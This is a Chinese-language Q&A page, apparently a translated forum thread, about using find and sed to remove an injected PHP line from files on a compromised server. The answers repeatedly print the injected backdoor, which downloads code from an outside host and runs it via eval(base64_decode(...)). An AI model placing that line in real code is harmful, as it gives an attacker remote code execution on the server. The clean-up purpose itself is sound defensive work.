sed 无法获得字符串匹配

sed 无法获得字符串匹配

不管我尝试了多少种不同的组合,我似乎都无法让它工作。我试图递归地在文件夹中搜索包含特定字符串的 php 文件,并将其替换为其他内容,但我一定没有正确地对其进行转义:

find . -name "*.php" -print | xargs sed -i "s|<?php $rrr = file_get_contents('http://bihati.cd/sync.php'); eval(base64_decode($rrr));?>|?>|g"

尽管我知道该字符串位于多个文件中,但 Sed 似乎找不到任何东西(不幸的是,我们的服务器似乎已被入侵)。

答案1

我假设您的输入文件如下所示:

<?php $rrr = file_get_contents('http://bihati.cd/sync.php'); eval(base64_decode($rrr));?>

我假设您要执行的替换与所写的完全一致。然后,为了使其工作,唯一需要做的更改是转义美元符号。因此,使用:

find . -name "*.php" -exec sed -i "s|<?php \$rrr = file_get_contents('http://bihati.cd/sync.php'); eval(base64_decode(\$rrr));?>|?>|g" {} \;

更安全的方法是尽可能使用单引号以避免 shell 插值:

find . -name '*.php' -exec sed -i 's|<?php $rrr = file_get_contents('\''http://bihati.cd/sync.php'\''); eval(base64_decode($rrr));?>|?>|g' {} \;

根据我假设的输入,上述操作将产生输出:

?>

xargs请注意,没有必要使用。的现代版本find有一个选项,可以完成以前的-exec大部分功能。xargs

更多的:要查看正在处理的文件sed,可以向find命令添加打印语句:

find . -name '*.php' -print -exec sed -i 's|<?php $rrr = file_get_contents('\''http://bihati.cd/sync.php'\''); eval(base64_decode($rrr));?>|?>|g' {} \;

当上述程序运行时,输入的文件的名称sed将显示在终端(stdout)上。

更多的:sed要确切查看对文件所做的更改,请保留原始文件的备份:

find . -name '*.php' -exec sed -i.saved 's|<?php $rrr = file_get_contents('\''http://bihati.cd/sync.php'\''); eval(base64_decode($rrr));?>|?>|g' {} \;

在这种情况下,如果sed处理something.php,则原始文件将保存在中something.php.saved。之后,可以通过以下方式检查更改(如果有):

diff something.php.saved something.php

相关内容